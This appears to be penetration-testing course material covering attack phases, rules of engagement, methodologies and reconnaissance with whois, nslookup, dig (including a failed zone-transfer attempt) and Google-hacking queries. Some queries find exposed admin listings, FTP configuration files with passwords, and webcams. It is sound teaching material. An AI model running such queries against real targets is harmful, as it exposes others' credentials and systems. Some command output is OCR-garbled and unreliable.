501.3 Pentest





Introduction

This course discusses the rationale behind penetration testing, the process, and some of the associated tools used in each process. The course also includes some advanced topics, such as system hardening, Linux hacking, and buffer overflows. The Penetration Testing course is designed to present the intermediate to advanced security analyst with information and skills in penetration testing. You should already be familiar with basic TCP/IP networking and security principles, including operating system security, perimeter security, and attacks. This course builds upon those topics to present you with an overall understanding of the methodology and techniques used in penetration testing.

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Course Outline

This course reviews the following topics:

- **Introduction**: The introduction will discusses penetration terms and definitions, what penetration is, and the high level description of the penetration testing approach.
- **Pen testing**: The "Pen Testing" section will go over each step in the penetration testing approach and include the tools for each approach.
- Advanced topics: The advanced topics section includes special topics such as system hardening, Linux hacking, and buffer overflows.



Introduction

The topics on the introduction slide are:

- What is penetration testing?
- Why penetration testing?
- Characteristics of a penetration tester
- Penetration testing definitions
- Attack approach
- High-level penetration testing approach

What is Penetration Testing?

 It "is a method of evaluating the security posture of a computer system or network by simulating identified attacks by a malicious user, known as a hacker."⁽¹⁾ The process involves an active analysis of the system for any potential vulnerabilities that may result from poor or improper system configuration, known and/or unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures.

Advanced Security Essentials

Prior to beginning any course, it is helpful to understand the scope of the topic and to define terms commonly used in the area of focus. First, a penetration test, as defined by Wikipedia, "is a method of evaluating the security of a computer system or network by simulating an attack by a malicious user, known as a hacker⁽¹⁾." The process involves an active analysis of the system for any potential vulnerabilities that may result from poor or improper system configuration, known and/or unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures. This analysis is carried out from the position of a potential attacker and can involve active exploitation of security vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of their impact and often with a proposal for mitigation or a technical solution. The intent of a penetration test is to determine feasibility of an attack and the amount of business impact of a successful exploit if discovered.

1 http://en.wikipedia.org/wiki/Penetration test



One of the many objectives of performing a pen test is to be able to baseline your environment to better understand an organization's exposure points. Only by knowing what the visibility of systems are, ports that are open, and vulnerable services can you properly assess your risk. This also provides a baseline that can be tracked and improved over time.

Note: This example uses private addresses to minimize the complexity of using a public address that could belong to another company.

Penetration Testing Terms and Definitions

- Threat: "Any circumstance or event with the potential to adversely impact an IS through unauthorized access, destruction, disclosure, modification of data, and/or denial of service"
- **Vulnerability**: "Weakness in an IS, system security procedures, internal controls, or implementation that could be exploited"
- **Target of Evaluation**: "IT product or system and its associated administrator and user guidance documentation that is the subject of an evaluation"
- Attack: "Attempt to gain unauthorized access to an IS's services, resources, or information; or, the attempt to compromise an IS's integrity, availability, or confidentiality"
- **Exploit:** The use of a specific attack against a specific identified vulnerability of the target

Advanced Security Essentials

Let's take a moment to clarify and review some of the terminology we will be using in this section. Committee on National Security Systems (CNSS) 4009^[1] – National Information Assurance Glossary and National Institute of Standards and Technology (NIST) IR 7298 Glossary of Key Information Security Terms^[2], have several common terms and definitions that are key to understanding the use and scope of penetration testing, namely:

• Threat: As defined by CNSS 4009, a threat "is any circumstance or event with the potential to adversely impact an IS through unauthorized access, destruction, disclosure, modification of data, and/or denial of service."

There are two primary types of threats: intentional and non-intentional. Usually nonintentional threats are driven by natural occurrences, such as rain, thunder, and earthquakes. Intentional threats are usually man-made and are driven by an attack agent's malicious intent to exploit an information system.

• Vulnerability: Also as defined in CNSS 4009, a vulnerability "is a weakness in an IS, system security procedures, internal controls, or implementation that could be exploited."

A primary distinction between a threat and vulnerability is that a threat is not real unless there is a vulnerability that is exploitable. Many professionals outside of the information assurance domain believe that if a threat or identified vulnerability exists, it could be exploited. A vulnerability becomes 'real' when there exists an identified attack and formidable attacker that could successfully exploit the vulnerability. Key factors determining a vulnerability's exploitability include:

- Skill level of the attacker: For some vulnerabilities to be exploited, it may take a skilled attacker that has a clear understanding of the target information systems and/or a thorough understanding of computer system designs to successfully exploit the threat and vulnerability.
- Environmental conditions of the target: Usually, for an attack to be successful, several conditions must be met prior to beginning the attack. The attack has several initial pre- and post-conditions that describe the parameters of the attack.
- **Target of evaluation**: As defined by CNSS 4009, "IT product or system and its associated administrator and user guidance documentation that is the subject of an evaluation. This is the device or information system the attack or penetration tester would like to evaluate its security posture." In some cases, it defines the scope of the penetration test.
- Attack: As defined by CNSS 4009, "Attempt to gain unauthorized access to an IS's services, resources, or information, or the attempt to compromise an IS's integrity, availability, or confidentiality."

An attack can be either an outside or inside attack. An outside attack is performed by an attacker, or attack agent, from the external perimeter, logical and physical, of the target system. An inside attack is an attack performed by an attacker from within the perimeter, logical and physical, of the target system. These types of attacks are usually conducted by trusted users of the organization that are disgruntled or paid to collect information. Usually these individuals have privileged knowledge of the organization's information systems but attempt to use it in an unapproved, unauthorized way.

There are two types of attacks: active and passive. Active attacks attempt to modify or redirect information within the target information system. These types of attacks attempt to modify the integrity or availability of the system. Passive attacks are those that do not attempt to modify or affect the state of the information system, but simply monitor and read the information stored or transmitted across the target information systems. These attacks target and exploit the confidentiality of the target, such as electronic eavesdropping. The success of an attack is usually described in the following ways:

- Successful: This attack was successful in exploiting a known vulnerability against the target.
- **Partial**: This attack was partially successful in exploiting a known vulnerability against the target. This may occur if certain determining factors of the vulnerability could not be exploited by the attacker, either because of skills level or because certain assumptions were not met to allow the attack to proceed further.
- Unsuccessful: This attack was not able to exploit an identified information system vulnerability. This could be the result of the attacker's skill level of not understanding how to perform the attack, or the security mechanisms on the information systems were able to prevent the attack from proceeding further.
- **Exploit**: The use of a specific attack against a specific identified vulnerability of the target.

[1] http://www.cnss.gov/Assets/pdf/cnssi_4009.pdf

[2] NIST IR 7298 - Glossary of Key Information Security Terms

Trying to Prevent an Attack	
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As organizations create more robust security, attackers will become more sophisticated in their methods of attack. In addition, the goals and methods of attack are changing significantly. In the past, attackers were focused on visible attacks such as website defacement. Now attackers are going after data-rich information and trying to be stealthy, focusing on the monetary gain they could achieve by compromising a target.



With attacks becoming more targeted, stealthy, and data-focused, it is even more difficult to detect attacks with traditional security devices. Therefore, it is even more important to thoroughly test a system.



Why Penetration Testing? Rationale of a Penetration Test

Before getting into the phases of penetration testing, let's take a moment to look at what penetration is and why you would want to do it. There are several key objectives of penetration testing:

- Reveal where security was successful, partially successful, or unsuccessful at preventing an attack. Successfully detect and monitor an attack that is ongoing or that occurred.
- Stay ahead of the attackers. Be proactive in preventing or mitigating compromise by identifying threats prior to the attack from occurring.

As stated before, the key objective of penetration testing is to perform a comprehensive evaluation of the target system and reveal a security weakness where security countermeasures or mechanisms were successful, partially successful, or unsuccessful in preventing or delaying a particular attack. A security weakness is a protection measure; or, it is a lack of a protection measure that has not yet failed, but given enough time and resources (which attackers often have) can be broken. This can be a vulnerability for which there currently is no exploit, but one could be devised. Another example is the use of DES, which has been proven to be crackable. A security failure is something that is easily broken. Examples include default passwords, SNMP write privileges, and unpatched systems for which there are readily available exploits.

Another reason to perform penetration testing is to stay ahead of the attackers. By looking for the same types of vulnerabilities that the attackers are using, you can find these weaknesses and correct them before they are exploited by an attacker.



It is important to note that any part of a network or system can be compromised by an attacker. However, key areas of focus that tend to have the most vulnerabilities are typically applications that reside on top of the operating system. Critical applications such as DNS are often overlooked and can be targeted by an attacker. Most organizations do a solid job of testing the positive, making sure the services that are needed are installed and work properly. However, very few sites test the negative, focusing on making sure anything extra is removed and the items that are not supposed to work do not work. It is typically extra functionality that is not required by the system that is often targeted by an attacker.

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Before you hire someone to perform a pen test against your organization, you should understand what your threat and exposure points are on the network. Core Impact and Metasploit Pro are great tools for being able to go in and obtain a snapshot of your network, understanding areas of concern and focus. A key tenet of information security is "know thy system" and only by understanding where an exposure is will you be able to properly protect against it.



There are several key characteristics of a penetration tester that will make them successful at testing the target system. These characteristics include:

- Computer security professional with extensive training and knowledge of performing penetration tests, trained in several technical domains
- In-depth knowledge about target platforms, including hardware and software
- Exemplary knowledge of computer systems, including network protocols and other technical details of computer systems, such as hardware and software
- Knowledge of security areas and related issues, but may not be a security professional
- Knowledge of computer crime laws and associated penalties

These characteristics, in accordance with EC-Council^[1] characteristics, will enable the penetration tester to be technically and socially successful at executing a given penetration test. The knowledge of computer hardware and software will be helpful in looking for vulnerabilities in the computers and networks of the target organization. In addition, an understanding of the available tools to exploit specific hardware, software, or network conditions is helpful. An understanding of security concepts and issues enables the penetration tester to be aware of the potential risk to the organization of a specific vulnerability or exploit. Knowledge of the target system will enable the tester to focus on highly important business assets and/or exploits that could have the largest impact on business operations of the target organization.

An understanding of the target network will help focus the tester's exploitation of the system by looking at highly likely and relevant vulnerabilities and attacks. An understanding of computer crimes and legal

boundaries enables the tester to focus and restrict their activities to what is legally binding and permitted under the test. Other "soft skills," such as being detail-oriented, good interpersonal skills, and communication skills are other skills embodied in a penetration tester. These softer skills enable the penetration tester to document each step in the process and to be able to clearly convey to the target system owners how and why the test was successful with possible mitigations, without getting into an argument with the owner or security professionals of the target organization. Several individuals, upon reading the test report, may be upset at the results or call into question the approach used during the test. A good penetration tester will be able to have an open, clear, and concise discussion with the interested parties without confrontation. In addition, the tester must be trustworthy and reliable, because the tester may uncover vulnerabilities that the organization may not want published or want to remain a secret.

[1] EC-Council, Ethical Hacking Official Course Material for the Certified Ethical Hacker exam



Attack Process and Phases

It is important to understand the anatomy of an attack to see how penetration testing relates to a real attack because we stated earlier that the steps of penetration testing and the steps of an attack are similar. Let's explore each step in the process.

Reconnaissance

The first step and preparatory stage of an attack is Reconnaissance. This is the same as the Information Gathering phase of the penetration testing methodology. During reconnaissance, the attacker gathers information about the target using active and passive mechanisms. This can include web searches, determining the IP address range, social engineering, and dumpster diving, among other techniques. This stage sometimes includes network IP scanning, which differs from the penetration testing methodology that puts all types of scanning in the Scanning phase. The goal of this phase is to obtain as much as possible from open sources and other methods to understand the target. The attack may use competitive intelligence to learn about the target. There are two primary categories of reconnaissance techniques: active or passive. Passive reconnaissance is when the attacker does not interact with the system directly. Active reconnaissance is used when the attacker believes that there is a low possibility of being detected by the system.

Scanning

The Scanning stage is a pre-attack activity similar to the penetration testing Scanning phase. This activity is seen as a logical extension of active reconnaissance. This includes more advanced probing of the target for vulnerabilities that can be exploited. It can include network mapping, port mapping, vulnerability scanning, OS fingerprinting, war dialing, wireless scanning, and more. There is often a

lot of overlap between the Reconnaissance and Scanning phases during an attack, and even during penetration testing. The attacker is attempting to assess the system to identify system vulnerabilities that could be easily exploited. As stated previously, an attack cannot be successful unless there exists a vulnerability that can be exploited.

Gaining Access

The next stage is Gaining Access, which parallels the Enumeration and Exploiting phase of penetration testing. Here the attacker exploits a vulnerability to gain access to the system. Techniques include buffer overflows, password cracking, Smurfing, and spoofing. This is usually considered the most important phase of the attack. At this point, the attacker has successfully exploited the vulnerability and has the potential to cause damage to the system. As stated previously, there are several factors contributing to the success of the attacker in gaining access to the system. These factors include:

- **Skill level of the attacker**: For some vulnerabilities to be exploited, it may take a very skilled attacker that has a clear understanding of the target information systems and/or a thorough understanding of computer system design to successfully exploit the vulnerability.
- Level of access obtained: There are usually several user and application levels that exist within a system. The higher the access level, the higher the risk to the system, and the more the attacker will be allowed to accomplish. Root or a system administrator account is deemed the highest user access level that an attacker can obtain and use to further compromise the system.
- Environmental conditions, including configurations of the target: Usually, for an attack to be successful, there may be several conditions that must be met prior to the attack beginning.

Maintaining Access

The next stage of an attack is Maintaining Access, which is not performed during a penetration test. At this point in the penetration test the tester has accomplished the testing of the security control and documents the process and access gained. In a real attack however the attacker's main purpose is to maintain access and cover his or her tracks so that no one discovers the intrusion. Attackers will often install rootkits and backdoors to maintain access. Attackers will want to maintain access to the system to either exploit it further or use it as a launchpad to exploit other systems.

Clearing Tracks

The next and final stage of an attack is Clearing Tracks, which is not performed during a penetration test. The goal of the attacker in this phase is to remove traces of the exploit so the attack and attacker cannot be detected and identified for penalization under criminal law. The attacker will remove or attempt to remove log entries and replace system binaries to cover their tracks and remain undetected on the system.



The following slides will present detailed descriptions of each step in the penetration testing approach, which is very similar to the attack steps described in detail in the previous slide. There exist many similarities between the attack process and penetration testing. At each step in the process, the tester takes detailed notes of which and when specific actions were taken as part of the test. The goal is to document and report vulnerabilities of the system in a systematic approach, keeping in mind the pre-approved constraints of the test. The steps involved with Penetration Testing include:

- Determine the scope: Critical to any penetration test is to determine what the scope of the test will be. This includes identifying the target system, the types of testing authorized, tests that are not authorized, who the point of contact is for the test, acceptable testing time frame, and to clarify and define any other ambiguous terms of the test.
- **Information gathering:** After receiving authorization to test and understanding the constraints of the test, this step is used to collect specific information about the target. This step is similar to the Reconnaissance step in the attack process. At this point, based on if you are either performing black box, white box, or grey box testing, the penetration tester will seek to obtain additional information about the system. Each type of test will be described in detail in future slides.
- Scanning: The Scanning stage is a pre-test activity similar to the attack process Scanning phase. This includes more advanced probing of the target for vulnerabilities that can be exploited. It can include network mapping, port mapping, vulnerability scanning, OS fingerprinting, war dialing, wireless scanning, and more. There is often a lot of overlap between the Information Gathering and Scanning phases during an attack, and even during penetration testing. The tester is attempting to assess the system to identify system vulnerabilities that could be easily exploited. As stated previously, a test cannot be successful unless there exists a vulnerability that can be exploited.

- Enumeration: This stage is a further extension of the scanning process to identify exploitable vulnerabilities of the system. The Enumeration phase attempts to list file permissions, user accounts, and open and idle ports, and other system items used for entry into the system.
- **Exploitation:** This phase of the test parallels the Exploitation phase of the attack process. Here the tester exploits a vulnerability to gain access to the system. Techniques include buffer overflows, password cracking, Smurfing, and spoofing. This is usually considered the most important phase of the test, because the objective of identifying vulnerabilities has been accomplished. At this point, the tester has successfully exploited the vulnerability and has the potential to cause damage to the system. Also at this point, the tester will document the fact that the exploit was successful and not continue further, because further exploitation of the vulnerability may result in an unfavorable consequence, such as system unavailability.



This slide outlines the various phases of a Penetration Testing methodology as outlined in the previous slide. Each step of the Penetration Testing process will be described in detail. There are very clear steps that take place in order for a tester to identify targets, find weaknesses, and exploit those weaknesses. Many intruders follow this same type of plan of attack when attacking networks and systems. Although there is not one single testing methodology that can be used for all organizations, the steps outlined in this section include the baseline of what should be followed in order to perform a penetration test effectively. The tools, strategy, and exploits all differ from one test to another. Testing can change depending on what is being tested and vulnerabilities that are discovered. However, the general objectives are always the same: to reveal where security measures have failed and how to minimize the risk. Here are the steps of the penetration testing process:

- Determine the scope
- Information gathering
- Scanning
- Enumeration
- Exploiting
- Pivoting
- Reporting

Let's start with the first phase, which is determining the scope.



First, testers need to establish rules of engagement for the test and their organization:

- **Time and dates of testing:** It is important to determine the specific dates and times of testing, and that no testing will occur outside of these times. This could be Monday through Friday 8-5 for some organizations so that all key personnel will be available if something crashes or needs to be addressed. In other cases this might be after hours so that normal operations won't be affected by a crash or other issues.
- **Contact information:** Contact information should be recorded for each of the testers and for internal personnel who can respond to these issues. Status meetings are essential during the penetration testing process. It is also good to set up a secure means of communication between all parties involved, such as using PGP to securely exchange information. When determining Points of Contact, also identify who will receive the final findings report.
- Scope of endpoint of a specific test: A critical aspect of the scope involves determining the stop point. If the tester has exploited a vulnerability and gained root access, the stop point would be that he or she will not modify anything on the system, but simply log out and document the exploit. Another stop point is denial of service. Anything that would intentionally or unintentionally deny availability of a system, network, or data should not be allowed. This means that if a vulnerability is discovered and there is an exploit that could potentially allow root access, or potentially crash the system, that exploit should not be attempted, but documented instead. In some cases the client organization may want some of these activities to be performed; this would be communicated during the status meetings, and explicit permission would be granted. In this case the vulnerability, exploit, and possible outcomes must be thoroughly discussed and documented.
- Legal liability: There are several laws and legal constraints regarding what the tester can legally perform. All parties should be aware of the legal ramifications of the penetration test prior to beginning the test, and a signed consent form (Get out of jail Free) should be in place.



Scope of Target Systems and Applications

It is also important to identify key systems that should not be included in testing. Sometimes this includes critical services such as mail and DNS, or backup systems. Penetration testing can have several side-effects, including system crashes, degraded network or system performance, denial of services, and sudden log file increases. Each system asset, including hardware and software, must be evaluated against the risk of lack of integrity or availability as a byproduct of an ongoing test and to determine if it is critical to business processes whether it should be excluded from the test.

Scope of Depth

The depth of testing identifies what aspects of the network and systems will be tested. Many tests are systems or apps alone. Other testing includes physical, telecom, wireless, and social engineering. Physical testing involves forging IDs or other methods that are used to get into the facility and bypass physical controls. Telecom testing involves PBX testing and modem "war dialing." Wireless testing involves "war driving" from outside the perimeter to discover wireless networks, or walking the hallways inside the facility to find rogue wireless devices. Lastly, social engineering involves testing the people of the organization and how they follow security policy.

Testing Approach

- White box testing: White box testing means that the tester has complete prior knowledge of the target. This means that the tester is given in-depth information on the target systems and applications.
- Black box testing: Black box testing means that the tester has no prior knowledge of the target. Here the tester simulates a true external attacker, beginning with nothing but the organization's name.
- Grey box testing: Grey box testing means that the tester has partial knowledge of the target.



Here, are a series of typical questions used to determine the Rules of Engagement when the tester meets with the target organization's technical and business staff. These questions include (but are not limited to):

- **Time and date:** What time and days are available to perform the penetration test? This answer could be accomplished in several ways. The tester may provide the target organization's staff with a daily, weekly, or monthly calendar to assess when the testing will occur. This must be determined in context with the ongoing business activities and processes of the target organization.
- **Contact:** Who should be contacted during the test? Who will receive the final report? The tester should solicit a contact list from the target organization and highlight those individuals that are deemed 'responsible' points of contact (POC) that will oversee the activities and report of the penetration test.
- Endpoint of a specific test: What is the acceptable point of the test when a vulnerability is detected? One approach to capturing this information is to have a table that lists the business assets, type of vulnerability, and stopping point of exploiting this vulnerability against the business assets. This is usually based on the criticality of the assets to the successful operation of the business.
- Legal liability: Which countries and [in the US] which states will be potentially affected during the test? This is critically important, because each country has its own rules regarding network testing.



Here, are a series of typical questions used to determine the scope of testing when the tester meets with the target organization's technical and business staff. These questions include (but are not limited to):

- Scope of target systems: What systems and/or applications do you want to be tested? The tester could request architecture, design, and network diagrams of the target organization and have a business and technical discussion outlining the interrelationship between technical system assets, such as computer hardware and software, and network infrastructure, to the business processes and functions that occur within the organization. For example, there may be an HR hiring business process, which is supported by an HR computer system. The tester and target organization must understand the impacts to the business of allowing the HR system to be a part of the penetration test.
- Black box versus white box versus grey box: What type of information will be available to the tester, prior to testing? This is good information to capture. If the target organization provides the tester with no information about the target system or resources, this is called black box testing. When the organization provides the tester with complete information about the target systems or networks, this is called white box testing. Many testers also refer to "grey box testing," where partial info is provided. It is important to know what testing perspective you plan to use.



Depending on the length of the penetration test, either daily or weekly summaries should be provided to the client organization. These can be provided just before the regular status meetings to ensure that everyone has had a chance to review them. The summaries are a log of events that have occurred, including what systems or networks have been tested and what vulnerabilities have been found so far. It is critical to have an open, honest, and secure line of communication between the tester and the sponsoring organization. Positive feedback to the sponsoring organization is key to a successful penetration test. The organization may require key vulnerabilities; however, it is critical to convey to the organization that any changes to the existing baseline environment, such as the introduction of a new patch, may change the testing environment. If possible, it is critical to have a stable baseline target environment. By doing so, it will be easy for the organization to independently assess and review the vulnerability and apply a suitable countermeasure after the test has been completed. In some cases, applying a patch to the target environment can invalidate the current test results and can make the organization more vulnerable as a result.

When the testing is complete, a formal Findings Report should be delivered to the target organization, as outlined in the Rules of Engagement. This details all of the vulnerabilities that were discovered and recommended countermeasures for each exploited vulnerability. A suitable assessment of the vulnerability and recommended countermeasure is critical to assess the existing and residual risk of the vulnerability. The organization, upon review of the vulnerability, determines if they accept the existing risk posed by the vulnerability.

It is also a good idea to create an executive summary that outlines the most critical vulnerabilities to address as soon as possible. The report is often delivered in hard copy form, or burned onto a CD. This keeps it more secure from access or interception by malicious individuals. It is also determined ahead of time, often during the first phase of Determine the Scope, who will receive the final report at the conclusion of the test. We'll cover reporting in more detail later.



There are several well-defined testing methodologies in existence today, and some organizations and testing teams may want to follow along with them.

The Open-Source Security Testing Methodology Manual (OSSTMM) provides a methodology for a thorough security test. A proper methodology makes for a valid security measurement that is consistent and repeatable. An open methodology means that it is free from political and corporate agendas. It includes information for project planning, quantifying results, and the Rules of Engagement for those who will perform the security tests.

The Penetration Testing Execution Standard (PTES) is a newer framework that includes framework diagrams, or "mindmaps," of various testing approaches and stages, as well as written instructions on running tools, analyzing data, etc. This program is still under development, but has a significant amount of material and more is added all the time.



This is an example of one PTES "MindMap" section on Threat Modeling.



The next phase of penetration testing is the Information Gathering phase. This is where information is collected to be used to exploit the system; however, the information at this stage is not obtained from the target system. Instead, the information is obtained from open, non-obtrusive systems that do not interact with the target system. This section of the course covers the tools, techniques, and resources for collecting general information and information of interest to understand the security posture of the target system.



After the Determine the Scope phase has been successfully completed with a contract or plan to get underway with the test, it is time to go to the Information Gathering phase of penetration testing. At this phase, it is critical to think like an attacker in the Reconnaissance phase. What types of information would an attacker be able to obtain and consider useful? Once the information is identified, what are the sources of the target information? What are the methods to easily obtain the information from the sources in a way that is not easily detected? There are several types in the Information Gathering stage of penetration testing. These steps are applicable to determining the types of network capabilities of the target system. We explore each of these steps in detail in further slides:

- Unearth initial information about target(s).
- Locate network ranges.
- Discover services/access points of entry.
- Perform reconnaissance on employees and related people.
- Plan the next phase for scanning and enumeration.



Information is a key resource to any organization, and those who have access to sensitive corporate knowledge are in an extremely powerful position to compromise the system. During the Determine the Scope phase, the tester will ascertain several key organizational assets, their role in supporting the organizational mission, and the individuals that have control over those assets. The identified assets will store, process, and transmit important information from a testing perspective that will become useful in future phases of the testing. In the Information Gathering phase, the tester will look to acquire non-intrusive information about the target. There are several sources to acquire the information, and we discuss them on the next slide.

Critical pieces of information from a networking perspective are the network address ranges, system administrator e-mail address, organizational contact information, types of network devices, and applications used. This information-gathering step in the process is typically called footprinting. The collected information enables the tester to strategically focus resources on building a map of the organization's social infrastructure. By having this information, the tester is able to eliminate several networking and social engineering techniques and choose the approach that best fits the solution to exploit several vulnerabilities in the organization. In addition, collecting all available information enables the tester to ensure that information that would be critical to a successful penetration test is not overlooked.



As discussed in the previous slide, there are several sources of footprinting. This slide lists several available methods of information gathering. Depending on the scope of the test the penetration tester is performing and the agreed terms of the test with the target organization, a penetration tester can use none, some, or all of the resources discussed below. These sources represent a small but representative subset of the available sources available to penetration testers. The next set of slides provides you, the student, with a general understanding of these sources. This section covers each of these techniques. There are also numerous other information gathering techniques beyond these, however, this list gives you a good baseline of where to start gathering information about the target.

One source is open source footprinting. These sources include: domain name lookups, newsgroups, Google and other search engines, target websites, traceroute, news articles, blogs/wikis, and miscellaneous other methods.

Newsgroup postings are also a good source of e-mail addresses, as well as the company's website. The company website often includes contact information for numerous individuals, to include ordering a complete employee directory! Newsgroup postings, vendor articles, and other news articles may address the types of devices (such as Cisco routers or Juniper firewalls) and applications (such as Peoplesoft) that are used. You can also find public information by searching through DNS records and the organization's website and looking at the URLs. Once again, newsgroup postings are a good source of information because company techies will post questions looking for a solution or to fix a problem, and they give too much information away in the process.

There are several tools used by penetration testers to acquire this type of open source footprinting. Specific tools, such as dig, nslookup, and whois are discussed in future slides.



There are several other miscellaneous ways to gather information on the target system and organization. Dumpster diving is a valuable way to find printouts, manuals, diagrams and all kinds of other important information that is thrown away without any regard for protecting the sensitive information. It's not a very fun or pleasant job, but it can have great rewards. Having physical access to the target site is also helpful, even if it means sitting in the public lobby or, better yet, sitting in the cafeteria and listening in on lunch meetings.

Last, but certainly not least, social engineering is a great source of information. If you sweet talk someone well enough or impersonate someone well enough, you can get anything from IP addresses to passwords. We cover social engineering in more depth later.



A whois query provides information on the target, the registered domain name, registered name servers, IP addresses, and contact information. There are several different whois websites and desktop clients, such as Sam Spade, for obtaining whois information. Some of these services may reveal more information than the others, so it is best to use several different methods of whois lookup. You can also use whois from the command line on many operating systems. Whois tools can be found on the web at http://www.arin.net, http://www.internic.net, http://www.allwhois.org, and http://www.samspade.org.



This slide and the next show the results of the whois search for "www.google.com." Notice that you can get address information, ISP information, contact information, and DNS server information. The important thing to remember is that this is all public information. All of this information can be used in a social engineering activity to solicit additional information from Google personnel or Google customers. Notice that it lists the DNS servers and when the records were updated last for Google. This information is useful in DNS-based tests.



Domain name lookups can help us build on our recon efforts from WHOIS. We now have some domain name information and name servers, and we can start to query them for other record types. The main types we are interested in include:

- NS: Nameserver records
- A: Address records
- MX: Mail Exchange records
- CNAME: Canonical Name records
- SOA: Start of Authority records
- PTR: Pointers, inverse lookup records



A DNS zone transfer is an old reconnaissance technique used against DNS servers. A zone transfer dumps the entire contents of a target's zone files. This provides valuable host-to-name mappings. A DNS zone transfer takes place over TCP port 53. If the DNS server is Microsoft, the attacker can get even more information, because the server will also contain Active Directory and Kerberos information. It also advertises servers by service type such as WWW and FTP. Nowadays, zone transfers are often restricted to authorized systems, but not always. This is still something to try during a penetration test.
Domain Name Lookups: Nslookup			
\$ nslookup Note: nslookup is deprecated and may be removed from future releases. Consider using the `dig' or `host' programs instead. Run nslookup with the `-sil[ent]' option to prevent this message from appearing. > set type=apy			
> www.google.com			
Server: 65.106.7.196			
Address: 65.106.7.196#53			
Non-authoritative answer:			
www.google.com canonical name = www.l.google.com.			
Authoritative answers can be found from			
aooqle.com nameserver = ns1.aooqle.com.			
goodle.com nameserver = ns2.goodle.com.			
google.com nameserver = ns3.google.com.			
google.com nameserver = ns4.google.com.			
ns1.google.com internet address = 216.239.32.10			
ns2.google.com internet address = 216.239.34.10			
ns3.google.com Internet address = 216.239.36.10			
ns4.google.com internet address = 216.239.38.10			
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Nslookup, now mostly replaced by dig, allows you to query Internet domain name servers. It is a command line tool for both Windows and Unix. This slide shows the output from an nslookup query on "www.google.com." By using nslookup in interactive mode, you can use the "set-type=any" option and get even more information. Now you can see the IP addresses and names for four DNS servers for Google.

Google is just an example to represent the available data from dig, whois, and nslookup. It could be any hostname.



Dig gives you all of that information by default. For example, you can show a single dig query for "www.google.com." Notice that you have the three IP addresses for Google servers, as well as five name servers (denoted with "NS") and some additional servers.

Domain Name Lookups: Dig (2)				
Shacks-iMac:~ root# di	g google.com -t NS			
; <<>> DiG 9.7.6-P1 <<>> google.com -t NS ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8960 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0				
;; QUESTION SECTION: ;google.com.	IN NS			
;; ANSWER SECTION: google.com. google.com. google.com.	10732 IN NS ns4.google.com. 10732 IN NS ns2.google.com. 10732 IN NS ns3.google.com.			
<pre>google.com. i) 0732 TN NS Pc1 google.com Shacks-iMac:~ root# dig @ns1.google.com google.com -t AXFR Shacks-iMac:~ root# dig @ns1.google.com google.com -t AXFR WHEN: Sat Jan 5 12:17: WHEN: Sat Jan 5 12:17: WHEN: Sat Jan 5 12:17: (1 server found) ;; global options: +cmd ; Transfer failed.</pre>				
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In this slide, the output shows a specific Dig query for only name servers, and then an attempt at a zone transfer from one of the Google name servers. Most DNS systems disallow this today, but a pen tester should always try to transfer name zones.



ARIN displays the output of what portion of an IP address range belongs to an organization. The important thing to note here is that it reveals the IP address ranges used by Google. This is exactly what an attacker would need to move into the scanning phase. Doing the lookup on just "Google" shows even more information and address ranges.



There are all kinds of information you can find out about a target by using Google or any other favorite search engine. The book *Google Hacking for Penetration Testers* by Johnny Long gives a lot of tips for streamlining your searches. There are often news articles, whitepapers, and other documents that reveal potentially secret information about a target.



There is a "Google Hacking Database" that lists helpful Google search strings that can be used to collect additional information about the target. Leveraging Google or other query systems, such as Yahoo, has several benefits that include reduced time for the tester to exploit specific services or ports on the target and quickly acquiring information such as default application passwords or specific application vulnerabilities for use in exploitation or social engineering activities. This database is now found at http://www.exploit-db.com/google-dorks/.



Google Hacking (1)

This slide describes how you can use the site: operator to find interesting hostnames and also how to reduce your results significantly with the "-" operator.



Google Hacking (2)

Using negative operators such as "-ext:" can help to reduce results again, getting you close to what you're looking for with your search. The "-ext" will remove pages and information from Google queries with specific extensions.



Google can help you track a lot of different document types, many of which are found at filext.com. You can use your imagination here when querying Google for different file types and data in a target organization.



Let's look at some examples of things one can find while searching Google for examples.

- site:.mil intitle:index.of /admin leads to a spreadsheet shown in the slide, with system names and addresses, etc.
- filetype:ini inurl:ws_ftp leads to FTP configuration files with usernames, passwords, and more!



This slide shows more examples of Google queries, ranging from printers online to registry entries, as well as a VPN admin page.



Why do you need a webcam live on Google? Especially one that allows panning, zooming, etc.?

Try this in Google: intitle:"Live View / – AXIS" | inurl:view/view.shtml.



Almost every Linux or Unix machine has a version of lynx installed on it or available. Check /usr/bin/lynx. Using lynx to glean pertinent information from Google requires some text manipulation skill when handling your results, yet the basics of using a command-driven text browser follow.

Take a URL that can be fed straight to Google through the browser and feed it instead to Lynx:

\$ /usr/bin/lynx -dump "http://search.yahoo.com/search?p=lynx&sm=Yahoo%21+Search&fr=FP-tab-webt&toggle=1" >lynxtest.html

In this example, we use Yahoo! instead of Google. These techniques work with most search engines. Although the results of the previous query require a lot of text manipulation in order to make sense of it, these techniques are often used to scrape domain names out of HTML output. Tools such as sed, grep, and GUI text editors are often used to distill results obtained via lynx into a sensible format.

Google Hacking Tools: Legacy+Current

- **Sitedigger**: McAfee Foundstone's W32 Google interface, which requires a Google developer license
- Wikto: Sensepost's W32 Google scanning app, which requires a developer license
- **Gooscan**: Free command line Unix tool; violates TOS (Johnny.ihackstuff.com)
- **SearchDiggity**: Automated recon tool for both Google and Bing searches; kept current by the team at Bishop Fox

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The following are several Google hacking tools that can be used:

- Foundstone's Sitedigger: http://www.mcafee.com/us/downloads/freetools/sitedigger.aspx. Can use the GHDB. Requires a Google developer license. Windows tool.
- Wikto: http://www.sensepost.com/labs/tools/pentest/wikto. Can use the GHDB. Requires a Google developer license. Windows tool.
- **Gooscan**: Johnny Long's tool, best found at http://www.aldeid.com/wiki/Gooscan. Violates the Google TOS. Does not require an API license. Runs on Unix variants.
- SearchDiggity: Fantastic collection of commands and utilities by Bishop Fox for querying both Google and Bing. Best found at http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/.

Google Hacking with Kali				
the tage of fill ver 2.1 -	rest@bt:/pentest/chuzeration/google/goofile# ./goofile.py Goofile v1.5 Goded by Themas (G13) Richards www.g13net.com code.google.com/pgoofile			
